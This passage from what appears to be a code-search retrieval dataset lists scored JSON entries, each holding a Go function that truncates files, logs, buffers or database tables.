*Client) Truncate(path string, size int64) error {\n\treturn c.setstat(path, sshFileXferAttrSize, uint64(size))\n}", "title": "" }, { "docid": "f0464792e1d98c9fe8b298898108627d", "score": "0.73549515", "text": "func (cf *cachedFile) truncate(n *node, size int64) error {\n\tconst op errors.Op = \"cache.truncate\"\n\tusize := uint64(size)\n\tif usize == n.attr.Size || size < 0 {\n\t\treturn nil\n\t}\n\n\tif cf.dirty {\n\t\t// This is already a temporary file, just change it.\n\t\tif usize < n.attr.Size {\n\t\t\tif err := os.Truncate(cf.fname, size); err != nil {\n\t\t\t\treturn errors.E(op, err)\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// This represents an unmodified reference from the store.\n\t\t// Copy it truncating as you go.\n\t\tif err := cf.clone(size); err != nil {\n\t\t\treturn errors.E(op, err)\n\t\t}\n\t}\n\n\t// If this was a true truncation, we're done.\n\tif size < int64(n.attr.Size) {\n\t\tn.attr.Size = usize\n\t\treturn nil\n\t}\n\n\t// Extend with zeros. At this point, we're guaranteed that this is a dirty file.\n\tzeros := make([]byte, 4096)\n\tbuf := make([]byte, 4096)\n\tfor usize > n.attr.Size {\n\t\t// Reinitialize the buf every round since writeAt changes it.\n\t\tcopy(buf, zeros)\n\t\ttoWrite := usize - n.attr.Size\n\t\tif toWrite > uint64(len(buf)) {\n\t\t\ttoWrite = uint64(len(buf))\n\t\t}\n\t\tm, err := cf.writeAt(buf[:toWrite], int64(n.attr.Size))\n\t\tn.attr.Size += uint64(m)\n\t\tif err != nil {\n\t\t\treturn errors.E(op, err)\n\t\t}\n\t}\n\tcf.size = size\n\treturn nil\n}", "title": "" }, { "docid": "c7def7f4a44064c84b3f1c031295a88d", "score": "0.7310694", "text": "func (fs *KBFSOpsStandard) Truncate(\n\tctx context.Context, file Node, size uint64) error {\n\ttimeTrackerDone := fs.longOperationDebugDumper.Begin(ctx)\n\tdefer timeTrackerDone()\n\n\tops := fs.getOpsByNode(ctx, file)\n\treturn ops.Truncate(ctx, file, size)\n}", "title": "" }, { "docid": "ac0cddf2297637392bde3017aa3d7546", "score": "0.7269709", "text": "func (fh *RWFileHandle) _truncate(size int64) (err error) {\n\tif size == fh._size() {\n\t\treturn nil\n\t}\n\tfh.file.setSize(size)\n\treturn fh.item.Truncate(size)\n}", "title": "" }, { "docid": "0e927ecfa9428e32da89afcbae59d87e", "score": "0.70265347", "text": "func (p *Persistence) Truncate() error {\n\treturn p.io.Truncate()\n}", "title": "" }, { "docid": "1028b3b48bb15666fdfa841f27bc03f9", "score": "0.6996533", "text": "func Truncate(path string, length int64) (err error) {\n\tvar _p0 *byte\n\t_p0, err = BytePtrFromString(path)\n\tif err != nil {\n\t\treturn\n\t}\n\t_, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)\n\tif e1 != 0 {\n\t\terr = errnoErr(e1)\n\t}\n\treturn\n}", "title": "" }, { "docid": "1028b3b48bb15666fdfa841f27bc03f9", "score": "0.6996533", "text": "func Truncate(path string, length int64) (err error) {\n\tvar _p0 *byte\n\t_p0, err = BytePtrFromString(path)\n\tif err != nil {\n\t\treturn\n\t}\n\t_, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)\n\tif e1 != 0 {\n\t\terr = errnoErr(e1)\n\t}\n\treturn\n}", "title": "" }, { "docid": "8828324973fe830e52c41b17adcc9c13", "score": "0.6972022", "text": "func (fm *filesManager) truncateFile(file *file, offset int64) error {\n\treopen := false\n\tfd := file.handle\n\tif file.flags&os.O_APPEND != 0 {\n\t\tif err := fm.closeLockedFile(file); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar err error\n\t\tfd, err = openFileWithFlags(file.name, os.O_RDWR)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treopen = true\n\t}\n\tnewPos := offset\n\tif err := fd.Truncate(newPos); err != nil {\n\t\treturn err\n\t}\n\tpos, err := fd.Seek(newPos, io.SeekStart) // or Seek(0, io.SeekEnd)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif pos != newPos {\n\t\treturn fmt.Errorf(\"unable to set position of file %q to %v\", file.name, newPos)\n\t}\n\tif reopen {\n\t\tif err := fd.Close(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := fm.openFile(file); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e6fb7a62bb24aa6ecce5d4c7d7a8d036", "score": "0.6913922", "text": "func truncate(filePath string) error {\n\torig, err := os.Open(filePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer orig.Close()\n\n\torigFinfo, err := orig.Stat()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsize := origFinfo.Size()\n\tthreshold := size / 2\n\n\ttmp, err := os.CreateTemp(path.Dir(filePath), \"\")\n\tif err != nil {\n\t\t// Retry in /tmp in case creating a tmp file in the same\n\t\t// directory has failed.\n\t\ttmp, err = os.CreateTemp(\"\", \"\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tdefer tmp.Close()\n\n\t// Jump directly to the threshold, drop the first line and copy the remainder\n\tif _, err := orig.Seek(threshold, 0); err != nil {\n\t\treturn err\n\t}\n\treader := bufio.NewReader(orig)\n\tif _, err := reader.ReadString('\\n'); err != nil {\n\t\tif !errors.Is(err, io.EOF) {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := writeRotateEvent(tmp, filePath, true); err != nil {\n\t\treturn fmt.Errorf(\"writing rotation event begin marker: %w\", err)\n\t}\n\tif _, err := reader.WriteTo(tmp); err != nil {\n\t\treturn fmt.Errorf(\"writing truncated contents: %w\", err)\n\t}\n\tif err := writeRotateEvent(tmp, filePath, false); err != nil {\n\t\treturn fmt.Errorf(\"writing rotation event end marker: %w\", err)\n\t}\n\n\tif err := renameLog(tmp.Name(), filePath); err != nil {\n\t\treturn fmt.Errorf(\"writing back %s to %s: %w\", tmp.Name(), filePath, err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "b9bc5c0494ebc7b63d3657dc22d4bb01", "score": "0.67925954", "text": "func Truncate(name string, size int64) Error {\n\tif e := syscall.Truncate(name, size); e != 0 {\n\t\treturn &PathError{\"truncate\", name, Errno(e)}\n\t}\n\treturn nil;\n}", "title": "" }, { "docid": "f35e2da131fba770ef6e83d84461ec35", "score": "0.6707239", "text": "func (*Entry) Truncate(context.Context, *fs.Inode, int64) error {\n\treturn ErrInvalidOp\n}", "title": "" }, { "docid": "5e34c69e974d7a3825293a7e2575fa03", "score": "0.6696106", "text": "func (rb *RecordBuffer) Truncate() error {\n\tif rb.tree != nil {\n\t\trb.tree.Clear()\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "dffa6549dc9e93c1bf614a95aaacb2d6", "score": "0.6667956", "text": "func (s *segment) truncateTail(index uint64) error {\n\tif !s.openForWrite {\n\t\treturn errReadOnlyFile\n\t}\n\n\tif index < s.baseIndex {\n\t\treturn fmt.Errorf(\"invalid index, less than base\")\n\t}\n\n\tsealed, err := s.Sealed()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif sealed {\n\t\t// TODO we should support truncating sealed files.\n\t\treturn errSealedFile\n\t}\n\n\ts.writeLock.Lock()\n\tdefer s.writeLock.Unlock()\n\n\tdiff := int(index - s.baseIndex)\n\n\t// TODO should we also be grabbing offsetLock?\n\tif diff >= len(s.offsets) {\n\t\treturn nil\n\t}\n\n\tnewNextOffset := s.offsets[diff]\n\tnewOffsets := s.offsets[:diff]\n\n\terr = s.f.Truncate(int64(newNextOffset))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := s.sync(); err != nil {\n\t\treturn err\n\t}\n\n\t_, err = s.f.Seek(int64(newNextOffset), io.SeekStart)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.offsets = newOffsets\n\ts.nextOffset = int(newNextOffset)\n\n\treturn nil\n}", "title": "" }, { "docid": "66144222ad9c3b8f438c1c949cc9a566", "score": "0.6640416", "text": "func (w *SegmentWAL) truncate(err error, file int, lastOffset int64) error {\n\tlevel.Error(w.logger).Log(\"msg\", \"WAL corruption detected; truncating\",\n\t\t\"err\", err, \"file\", w.files[file].Name(), \"pos\", lastOffset)\n\n\t// Close and delete all files after the current one.\n\tfor _, f := range w.files[file+1:] {\n\t\tif err := f.Close(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := os.Remove(f.Name()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tw.mtx.Lock()\n\tdefer w.mtx.Unlock()\n\n\tw.files = w.files[:file+1]\n\n\t// Seek the current file to the last valid offset where we continue writing from.\n\t_, err = w.files[file].Seek(lastOffset, io.SeekStart)\n\treturn err\n}", "title": "" }, { "docid": "8c3f3c987b6f28e2266c2d57029b3500", "score": "0.6616427", "text": "func (b *Buffer) Truncate(n int) { b.buf = b.buf[:n] }", "title": "" }, { "docid": "45f1d58a02cb2b6777458f89f5537cc9", "score": "0.6605002", "text": "func Ftruncate(fd int, length int64) (err error) {\n\t_, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)\n\tif e1 != 0 {\n\t\terr = errnoErr(e1)\n\t}\n\treturn\n}", "title": "" }, { "docid": "45f1d58a02cb2b6777458f89f5537cc9", "score": "0.6605002", "text": "func Ftruncate(fd int, length int64) (err error) {\n\t_, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)\n\tif e1 != 0 {\n\t\terr = errnoErr(e1)\n\t}\n\treturn\n}", "title": "" }, { "docid": "738f66ee194739ca3c6b8ec71d7c12eb", "score": "0.65665674", "text": "func (c *Client) Truncate(name string, size int64) (bool, error) {\n\treq := &hdfs.TruncateRequestProto{\n\t\tSrc: proto.String(name),\n\t\tNewLength: proto.Uint64(uint64(size)),\n\t\tClientName: proto.String(c.namenode.ClientName),\n\t}\n\tresp := &hdfs.TruncateResponseProto{}\n\n\terr := c.namenode.Execute(\"truncate\", req, resp)\n\tif err != nil {\n\t\treturn false, &os.PathError{\"truncate\", name, interpretException(err)}\n\t} else if resp.Result == nil {\n\t\treturn false, &os.PathError{\"truncate\", name, errors.New(\"unexpected empty response\")}\n\t}\n\n\treturn resp.GetResult(), nil\n}", "title": "" }, { "docid": "754d56b66b1bfc3c8a851b49363ed495", "score": "0.6553208", "text": "func Truncate(path string, length int64) (err error) {\n\tfor {\n\t\terr = unix.Truncate(path, length)\n\t\tif err != syscall.EINTR {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "dca8aa70298723bb28e65891c7597e01", "score": "0.6543289", "text": "func (s *FileBackend) Resize(size int) error {\n\tif s.currPos+size > s.size {\n\t\tsize += s.currPos\n\t\tsize /= s.size\n\t\tsize *= 2\n\t\tsize *= s.size\n\n\t\treturn s.file.Truncate(int64(size))\n\t} else if s.currPos+size == s.size && s.currPos == 0 {\n\t\treturn s.file.Truncate(int64(size))\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "5ae03a389e67f2bce50779885057fd5e", "score": "0.6521567", "text": "func truncateExportFile(outputFile string, size int64) error {\n\tif _, err := os.Stat(outputFile); err != nil {\n\t\tfile, err := os.Create(outputFile)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = file.Close()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tif err := os.Truncate(outputFile, 0); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := os.Truncate(outputFile, size); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "7f669eccfdf04eb24134289907651679", "score": "0.6513567", "text": "func (t *teeWriter) Truncate(size int64) error {\n\tg := new(errgroup.Group)\n\tfor _, w := range t.writers {\n\t\tw := w // closure issues, see https://golang.org/doc/faq#closures_and_goroutines\n\t\tg.Go(func() error {\n\t\t\treturn w.Truncate(size)\n\t\t})\n\t}\n\treturn g.Wait()\n}", "title": "" }, { "docid": "a88ae221be4786a34f2322ced10dfaa8", "score": "0.65093845", "text": "func CopyTruncateFile(dst string, src string, flag int, perm os.FileMode, size int64) error {\n\tif err := CopyFile(dst, src, flag, perm); err != nil {\n\t\treturn err\n\t}\n\treturn os.Truncate(src, size)\n}", "title": "" }, { "docid": "1729ccaf83594db9eb4f1bcb95f6b0ff", "score": "0.6445096", "text": "func (f *FileAsset) SetLength(flen int) {\n\terr := os.Truncate(f.SourcePath, int64(flen))\n\tif err != nil {\n\t\tklog.Errorf(\"truncate(%q) failed: %v\", f.SourcePath, err)\n\t}\n}", "title": "" }, { "docid": "caccded10c7b677f248df903443a7ecc", "score": "0.64020914", "text": "func (b *Buffer) Truncate(n int) {\n\tb.lastRead = opInvalid\n\tswitch {\n\tcase n < 0 || n > b.Len():\n\t\tpanic(\"bytes.Buffer: truncation out of range\")\n\tcase n == 0:\n\t\t// Reuse buffer space.\n\t\tb.off = 0\n\t}\n\tb.buf = b.buf[0 : b.off+n]\n}", "title": "" }, { "docid": "b03e57f19520add09c943a563781674e", "score": "0.6384182", "text": "func (d *fileData) truncate(ctx context.Context, s blob.CAS, offset int64) error {\n\tif offset >= d.totalBytes {\n\t\td.totalBytes = offset\n\t\treturn nil\n\t}\n\tpre, span, _ := d.splitSpan(0, offset)\n\tif len(span) != 0 {\n\t\tn := len(span) - 1\n\t\tlast := span[n]\n\t\tspan = span[:n]\n\n\t\t// If the offset transects a block, read that block and write back its\n\t\t// prefix. If the offset is exactly at the start of the block, we can\n\t\t// skip that step and discard the whole block.\n\t\tif i, pos := last.findBlock(offset); i >= 0 && offset > pos {\n\t\t\tkeep := last.blocks[:i]\n\t\t\tbits, err := s.Get(ctx, last.blocks[i].key)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tblks, err := d.splitBlobs(ctx, s, bits[:int(offset-pos)])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tspan = append(span, splitExtent(&extent{\n\t\t\t\tbase: last.base,\n\t\t\t\tbytes: offset - last.base,\n\t\t\t\tblocks: append(keep, blks...),\n\t\t\t})...)\n\t\t}\n\t}\n\td.extents = append(pre, span...)\n\td.totalBytes = offset\n\treturn nil\n}", "title": "" }, { "docid": "d97e0f42d216a838511ce06fed973781", "score": "0.63831896", "text": "func Truncate(action *recipe.Action) error {\n\ttarget, err := action.GetS(0)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tisSafePath, err := checkPathSafety(action.Command.Recipe, target)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !isSafePath {\n\t\treturn fmt.Errorf(\"Path %q is unsafe\", target)\n\t}\n\n\treturn os.Truncate(target, 0)\n}", "title": "" }, { "docid": "19ca97e245282bc700f26141761642ec", "score": "0.6315615", "text": "func (truncator *FileTruncator) Remove() error {\n\tif err := truncator.UpdateStat(); err != nil {\n\t\treturn err\n\t}\n\tfile, err := os.OpenFile(truncator.FilePath, os.O_RDWR, 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttruncateCount := truncator.TruncateCount()\n\tbar := pb.New(truncateCount).SetUnits(pb.MiB)\n\tbar.Output = truncator.writer\n\tbar.Start()\n\tfor i := 0; i < truncateCount; i++ {\n\t\tbar.Increment()\n\t\ttime.Sleep(truncator.TruncateInterval)\n\t\tfile.Truncate(truncator.FileSize - int64(i)*truncator.TruncateUnit)\n\t\tfile.Sync()\n\t}\n\tbar.FinishPrint(\"Removed \" + truncator.FilePath)\n\tfile.Close()\n\tif err := os.Remove(truncator.FilePath); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9a1b29b13c3ad4e5de6a40d78d91fece", "score": "0.6279507", "text": "func (cs ConcSafe) Truncate(size int64) error {\n\treturn cs.ccTruncate(size)\n}", "title": "" }, { "docid": "8419440a1dff7938561a6ad876f4f41c", "score": "0.62634194", "text": "func Ftruncate(fd int, length int64) (err error) {\n\tfor {\n\t\terr = unix.Ftruncate(fd, length)\n\t\tif err != syscall.EINTR {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "95e7525210ed5b2cfa3a19c0f8152efe", "score": "0.62275773", "text": "func (m *MockFile) Truncate(size int64) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Truncate\", size)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "dd5afc3081d6fdd22f225322a33a5958", "score": "0.62179047", "text": "func (m *mockTruncator) Truncate(context.Context, uint64) error {\n\treturn m.err\n}", "title": "" }, { "docid": "cb3f6c9e43a5a5dff268bd073ab426b4", "score": "0.62012255", "text": "func AppendTruncate(dst string, src string) error {\n\treturn CopyTruncateFile(dst, src, DefaultFlagCreateAppend, DefaultPermissionFile, 0)\n}", "title": "" }, { "docid": "10f364a5d62421c784ca115dc0c69f6c", "score": "0.61983526", "text": "func trim(file *os.File) {\n\tfilestat, err := file.Stat()\n\tif err != nil {\n\t\treturn\n\t}\n\tfsize := filestat.Size()\n\tif fsize < loglimit {\n\t\treturn\n\t}\n\tcontents := make([]byte, loglimit)\n\toffset := fsize - loglimit\n\t_, err = file.ReadAt(contents, offset)\n\tif err != nil {\n\t\treturn\n\t}\n\t// Close logfile, recreate (empty), and write the trimmed contents\n\tfile.Close()\n\tfile, err = os.Create(file.Name())\n\tif err == nil {\n\t\tfile.Write(contents)\n\t}\n}", "title": "" }, { "docid": "ff68810be3227007a14f1d02af9bc415", "score": "0.6093021", "text": "func (ds *DirectorySink) Truncate(offset Offset) error {\n\tds.mu.Lock()\n\tdefer ds.mu.Unlock()\n\n\t// Find segments whose most-recent offset is older than the offset\n\t// passed to this function.\n\tremoved := 0\n\tvar err error\n\tfor i, offsets := range ds.segments {\n\t\t// If the most-recent offset of the segment's boundiares is\n\t\t// older than the given offset, mark it for removal.\n\t\tif offsets[1].Before(offset) {\n\t\t\t// If we encounter an error while deleting a segment\n\t\t\t// file, keep the error, but break out of this loop,\n\t\t\t// so that we fall through to remove any references to\n\t\t\t// segments that we were able to delete.\n\t\t\tif err = ds.deleteSegmentFile(ds.segPaths[i]); err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tremoved++\n\t\t} else {\n\t\t\t// Break early so as to not waste cycles iterating\n\t\t\t// through the rest of the segments.\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Drop the segment offsets and paths from the sink.\n\tif removed > 0 {\n\t\tds.segments = ds.segments[removed:]\n\t\tds.segPaths = ds.segPaths[removed:]\n\t}\n\n\t// Check to see if there was an error left over from deleting segment\n\t// files; return if there was.\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"delete segment file\")\n\t}\n\n\t// Of the remaining segments, see if our offset falls within the\n\t// boundaries of the (new) first segment.\n\t//\n\t// If it does, then load the segment, truncate it, write it\n\t// back out to disk, and adjust the values in the segments and\n\t// segPaths slices.\n\tif ds.segments[0][0].Before(offset) && ds.segments[0][1].After(offset) {\n\t\tseg, err := ds.loadSegment(ds.segPaths[0])\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"truncate segment\")\n\t\t}\n\t\tseg.Truncate(offset)\n\t\tif err := ds.writeSegment(seg); err != nil {\n\t\t\treturn errors.Wrap(err, \"write truncated segment\")\n\t\t}\n\t\tstart, _ := seg.Limits()\n\t\tds.segments[0][0] = start\n\t\tds.segPaths[0] = fmtSegFileName(seg)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "06981cf0816c3eff54316833db16854b", "score": "0.60022336", "text": "func resize(fd uintptr, size int) int {\n\terr := syscall.Ftruncate(int(fd), int64(size))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn size\n}", "title": "" }, { "docid": "ff14bfbf100afcd8f473ac8b5114e1c0", "score": "0.5941664", "text": "func callftruncate(fd int, length int64) (r1 uintptr, e1 Errno) {\n\tr1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_ftruncate)), 2, uintptr(fd), uintptr(length), 0, 0, 0, 0)\n\treturn\n}", "title": "" }, { "docid": "4e14f79acdee09b736a704ce11548b42", "score": "0.5940496", "text": "func (t *genericTable) Truncate() error {\n\tt.bufferCmdId = 0\n\n\tif err := t.truncateMainTable(); err != nil {\n\t\treturn err\n\t}\n\n\treturn t.truncateBufTable()\n}", "title": "" }, { "docid": "d67b59aadeaf21980d740a114a5e8e4b", "score": "0.5922749", "text": "func (d *diskForestData) resize(newSize uint64) {\n\terr := d.file.Truncate(int64(newSize * leafSize * 2))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "6b57bb846ed2c73d7eef5ae2a6f655b2", "score": "0.59170127", "text": "func (mr *MockFileMockRecorder) Truncate(size interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Truncate\", reflect.TypeOf((*MockFile)(nil).Truncate), size)\n}", "title": "" }, { "docid": "14cc5f40c6eb1ec4258a3b0720838fcd", "score": "0.5889455", "text": "func (c *cell) Truncate() {\n\tatomic.StoreUint64(c.load, 0)\n}", "title": "" }, { "docid": "c1b4f8159c2a37e88e799f3e0061871b", "score": "0.58604246", "text": "func (a *listAdapter) Truncate(int) {\n\tklog.Fatalf(\"not implemented\")\n\n}", "title": "" }, { "docid": "75f92632c712d8062c147b2de0f6201d", "score": "0.58173674", "text": "func (s *Store) Truncate() error {\n\tselect {\n\tcase <-s.ctx.Done():\n\t\treturn errors.Wrap(s.ctx.Err())\n\tdefault:\n\t}\n\n\tif !s.bucket.Writable() {\n\t\treturn errors.Wrap(engine.ErrTransactionReadOnly)\n\t}\n\n\terr := s.tx.DeleteBucket(s.name)\n\tif err != nil {\n\t\treturn errors.Wrap(err)\n\t}\n\n\t_, err = s.tx.CreateBucket(s.name)\n\treturn errors.Wrap(err)\n}", "title": "" }, { "docid": "2873631cb0c1b27e2fb5b89a37e8a90d", "score": "0.57662743", "text": "func calltruncate(_p0 uintptr, length int64) (r1 uintptr, e1 Errno) {\n\tr1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_truncate)), 2, _p0, uintptr(length), 0, 0, 0, 0)\n\treturn\n}", "title": "" }, { "docid": "cefd1958fdd779b2a4d4a19d67e8d2ec", "score": "0.5763723", "text": "func truncateAuditLog() error {\n\tif err := os.Truncate(auditPath(), 0); err != nil {\n\t\treturn fmt.Errorf(\"failed to truncate audit log: %v\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0f785dcd87602892834a2fda5b7dc79d", "score": "0.5726526", "text": "func (pipeline *Pipeline) Truncate() {\n\tpipeline.Assets = pipeline.Assets[:0]\n}", "title": "" }, { "docid": "4b1aaffeb05dd470e948270ddcdc9a5e", "score": "0.5690467", "text": "func CopyTruncateFileAll(dst string, src string, flag int, dirperm, fileperm os.FileMode, size int64) error {\n\tif err := CopyFileAll(dst, src, flag, dirperm, fileperm); err != nil {\n\t\treturn err\n\t}\n\treturn os.Truncate(src, size)\n}", "title": "" }, { "docid": "330deb4f28c2f9e2403d08bb89847fb0", "score": "0.5645225", "text": "func (self *Collection) Truncate() error {\n\terr := self.collection.DropCollection()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "dc71fbca823d4b1441593bad5d6e54ce", "score": "0.56301355", "text": "func (db *DB) Truncate(name string, options *TruncateOptions) error {\n\tif err := db.check(); err != nil {\n\t\treturn err\n\t}\n\tif options == nil {\n\t\toptions = NewTruncateOptions()\n\t}\n\tvar args []cmdArg\n\targs = append(args, cmdArg{\"target_name\", name})\n\tres, err := db.query(\"truncate\", args, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif string(res) != \"true\" {\n\t\treturn fmt.Errorf(\"truncate failed\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "335970afdc93d84383328800fb9b20d2", "score": "0.56296664", "text": "func (t Time) Truncate(d Duration) Time", "title": "" }, { "docid": "805444fc1d80cd66eed408c345d35f03", "score": "0.5593228", "text": "func (i *index) truncate(t time.Time) time.Time {\n\treturn t.Truncate(i.granularity())\n}", "title": "" }, { "docid": "76e025c431255b515d825390c647479a", "score": "0.5588162", "text": "func (d *LogServiceDriver) Truncate(lsn uint64) error {\n\tif lsn > d.truncating.Load() {\n\t\td.truncating.Store(lsn)\n\t}\n\t_, err := d.truncateQueue.Enqueue(struct{}{})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0da04da6b11bedbaabf5923edccf5c69", "score": "0.5582996", "text": "func (w *SegmentWAL) Truncate(mint int64, keep func(chunks.HeadSeriesRef) bool) error {\n\t// The last segment is always active.\n\tif len(w.files) < 2 {\n\t\treturn nil\n\t}\n\tvar candidates []*segmentFile\n\n\t// All files have to be traversed as there could be two segments for a block\n\t// with first block having times (10000, 20000) and SECOND one having (0, 10000).\n\tfor _, sf := range w.files[:len(w.files)-1] {\n\t\tif sf.maxTime >= mint {\n\t\t\tbreak\n\t\t}\n\t\t// Past WAL files are closed. We have to reopen them for another read.\n\t\tf, err := w.openSegmentFile(sf.Name())\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"open old WAL segment for read\")\n\t\t}\n\t\tcandidates = append(candidates, &segmentFile{\n\t\t\tFile: f,\n\t\t\tminSeries: sf.minSeries,\n\t\t\tmaxTime: sf.maxTime,\n\t\t})\n\t}\n\tif len(candidates) == 0 {\n\t\treturn nil\n\t}\n\n\tr := newWALReader(candidates, w.logger)\n\n\t// Create a new tmp file.\n\tf, err := w.createSegmentFile(filepath.Join(w.dirFile.Name(), \"compact.tmp\"))\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"create compaction segment\")\n\t}\n\tdefer func() {\n\t\tif err := os.RemoveAll(f.Name()); err != nil {\n\t\t\tlevel.Error(w.logger).Log(\"msg\", \"remove tmp file\", \"err\", err.Error())\n\t\t}\n\t}()\n\n\tvar (\n\t\tcsf = newSegmentFile(f)\n\t\tcrc32 = newCRC32()\n\t\tdecSeries = []record.RefSeries{}\n\t\tactiveSeries = []record.RefSeries{}\n\t)\n\n\tfor r.next() {\n\t\trt, flag, byt := r.at()\n\n\t\tif rt != WALEntrySeries {\n\t\t\tcontinue\n\t\t}\n\t\tdecSeries = decSeries[:0]\n\t\tactiveSeries = activeSeries[:0]\n\n\t\terr := r.decodeSeries(flag, byt, &decSeries)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"decode samples while truncating\")\n\t\t}\n\t\tfor _, s := range decSeries {\n\t\t\tif keep(s.Ref) {\n\t\t\t\tactiveSeries = append(activeSeries, s)\n\t\t\t}\n\t\t}\n\n\t\tbuf := w.getBuffer()\n\t\tflag = w.encodeSeries(buf, activeSeries)\n\n\t\t_, err = w.writeTo(csf, crc32, WALEntrySeries, flag, buf.Get())\n\t\tw.putBuffer(buf)\n\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"write to compaction segment\")\n\t\t}\n\t}\n\tif r.Err() != nil {\n\t\treturn errors.Wrap(r.Err(), \"read candidate WAL files\")\n\t}\n\n\toff, err := csf.Seek(0, io.SeekCurrent)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := csf.Truncate(off); err != nil {\n\t\treturn err\n\t}\n\tif err := csf.Sync(); err != nil {\n\t\treturn nil\n\t}\n\tif err := csf.Close(); err != nil {\n\t\treturn nil\n\t}\n\n\t_ = candidates[0].Close() // need close before remove on platform windows\n\tif err := fileutil.Replace(csf.Name(), candidates[0].Name()); err != nil {\n\t\treturn errors.Wrap(err, \"rename compaction segment\")\n\t}\n\tfor _, f := range candidates[1:] {\n\t\tf.Close() // need close before remove on platform windows\n\t\tif err := os.RemoveAll(f.Name()); err != nil {\n\t\t\treturn errors.Wrap(err, \"delete WAL segment file\")\n\t\t}\n\t}\n\tif err := w.dirFile.Sync(); err != nil {\n\t\treturn err\n\t}\n\n\t// The file object of csf still holds the name before rename. Recreate it so\n\t// subsequent truncations do not look at a non-existent file name.\n\tcsf.File, err = w.openSegmentFile(candidates[0].Name())\n\tif err != nil {\n\t\treturn err\n\t}\n\t// We don't need it to be open.\n\tif err := csf.Close(); err != nil {\n\t\treturn err\n\t}\n\n\tw.mtx.Lock()\n\tw.files = append([]*segmentFile{csf}, w.files[len(candidates):]...)\n\tw.mtx.Unlock()\n\n\treturn nil\n}", "title": "" }, { "docid": "cf824ed1f8eeafe57453b29479f073c7", "score": "0.5576838", "text": "func (mp *metaPartition) ExtentsTruncate(req *ExtentsTruncateReq, p *Packet) (err error) {\n\tino := NewInode(req.Inode, proto.Mode(os.ModePerm))\n\tino.Size = req.Size\n\tval, err := ino.Marshal()\n\tif err != nil {\n\t\tp.PacketErrorWithBody(proto.OpErr, []byte(err.Error()))\n\t\treturn\n\t}\n\tresp, err := mp.submit(opFSMExtentTruncate, val)\n\tif err != nil {\n\t\tp.PacketErrorWithBody(proto.OpAgain, []byte(err.Error()))\n\t\treturn\n\t}\n\tmsg := resp.(*InodeResponse)\n\tp.PacketErrorWithBody(msg.Status, nil)\n\treturn\n}", "title": "" }, { "docid": "7bc0cd35bea681c823b8d1e2c5431b66", "score": "0.55712205", "text": "func (_m *MockclientSession) Truncate(namespace ident.ID) (int64, error) {\n\tret := _m.ctrl.Call(_m, \"Truncate\", namespace)\n\tret0, _ := ret[0].(int64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "389e57e96784cf08520147b29344110c", "score": "0.55674076", "text": "func (_m *MockAdminSession) Truncate(namespace ident.ID) (int64, error) {\n\tret := 